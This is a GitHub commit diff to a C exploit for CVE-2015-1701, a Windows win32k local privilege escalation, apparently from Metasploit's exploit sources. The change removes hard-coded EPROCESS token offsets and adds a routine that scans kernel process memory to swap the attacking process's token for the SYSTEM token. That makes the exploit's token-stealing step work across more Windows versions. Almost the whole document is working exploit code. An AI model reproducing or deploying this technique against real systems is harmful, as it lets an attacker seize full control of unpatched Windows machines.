Skip to content

Commit b291d41

Browse files
committed
Quick hack to remove hard-coded offsets
1 parent a6467f4 commit b291d41

File tree

3 files changed

+48
-11
lines changed

3 files changed

+48
-11
lines changed
Binary file not shown.
Binary file not shown.

external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c

Lines changed: 48 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -70,7 +70,13 @@ pUser32_ClientCopyImage g_originalCCI = NULL;
7070
PVOID g_ppCCI = NULL, g_w32theadinfo = NULL;
7171
int g_shellCalled = 0;
7272
DWORD g_OurPID;
73-
DWORD g_EPROCESS_TokenOffset = 0;
73+
74+
75+
typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
76+
_Inout_ PVOID Process
77+
);
78+
79+
lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL;
7480

7581
typedef NTSTATUS (NTAPI *PRtlGetVersion)( _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation );
7682

@@ -272,6 +278,9 @@ ULONG_PTR GetPsLookupProcessByProcessId(
272278
break;
273279
}
274280

281+
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)GetProcAddress(MappedKernel, "PsReferencePrimaryToken");
282+
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)((DWORD_PTR)KernelBase + ((DWORD_PTR)pPsReferencePrimaryToken - (DWORD_PTR)MappedKernel));
283+
275284
FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsLookupProcessByProcessId");
276285
FuncAddress = KernelBase + FuncAddress - (ULONG_PTR)MappedKernel;
277286

@@ -329,6 +338,36 @@ HWND GetFirstThreadHWND(
329338
return 0;
330339
}
331340

341+
// Search the specified data structure for a member with CurrentValue.
342+
BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
343+
{
344+
DWORD_PTR dwIndex, dwMask;
345+
346+
// Microsoft QWORD aligns object pointers, then uses the lower three
347+
// bits for quick reference counting.
348+
#ifdef _M_X64
349+
dwMask = ~0xf;
350+
#else
351+
dwMask = ~7;
352+
#endif
353+
// dwMask out the reference count.
354+
dwCurrentValue &= dwMask;
355+
356+
// Scan the structure for any occurrence of dwCurrentValue.
357+
for (dwIndex = 0; dwIndex < dwMaxSize; dwIndex++)
358+
{
359+
if ((pdwStructure[dwIndex] & dwMask) == dwCurrentValue)
360+
{
361+
// And finally, replace it with NewValue.
362+
pdwStructure[dwIndex] = dwNewValue;
363+
return TRUE;
364+
}
365+
}
366+
367+
// Member not found.
368+
return FALSE;
369+
}
370+
332371
/*
333372
* StealProcessToken
334373
*
@@ -349,9 +388,14 @@ NTSTATUS NTAPI StealProcessToken(
349388
if (NT_SUCCESS(Status)) {
350389
Status = g_PsLookupProcessByProcessIdPtr((HANDLE)4, &SystemProcess);
351390
if (NT_SUCCESS(Status)) {
352-
if (g_EPROCESS_TokenOffset) {
353-
*(PVOID *)((PBYTE)CurrentProcess + g_EPROCESS_TokenOffset) = *(PVOID *)((PBYTE)SystemProcess + g_EPROCESS_TokenOffset);
354-
}
391+
PACCESS_TOKEN targetToken = pPsReferencePrimaryToken(CurrentProcess);
392+
PACCESS_TOKEN systemToken = pPsReferencePrimaryToken(SystemProcess);
393+
394+
// Find the token in the target process, and replace with the system token.
395+
find_and_replace_member((PDWORD_PTR)CurrentProcess,
396+
(DWORD_PTR)targetToken,
397+
(DWORD_PTR)systemToken,
398+
0x200);
355399
}
356400
}
357401
return Status;
@@ -436,13 +480,6 @@ void win32k_client_copy_image(LPVOID lpPayload)
436480
g_OurPID = GetCurrentProcessId();
437481
g_PsLookupProcessByProcessIdPtr = (PVOID)GetPsLookupProcessByProcessId();
438482

439-
#ifdef _WIN64
440-
g_EPROCESS_TokenOffset = 0x208;
441-
#else
442-
g_EPROCESS_TokenOffset = 0xF8;
443-
#endif
444-
445-
446483
if (g_PsLookupProcessByProcessIdPtr == NULL) {
447484
ExitProcess((UINT)-3);
448485
return;

0 commit comments

Comments
 (0)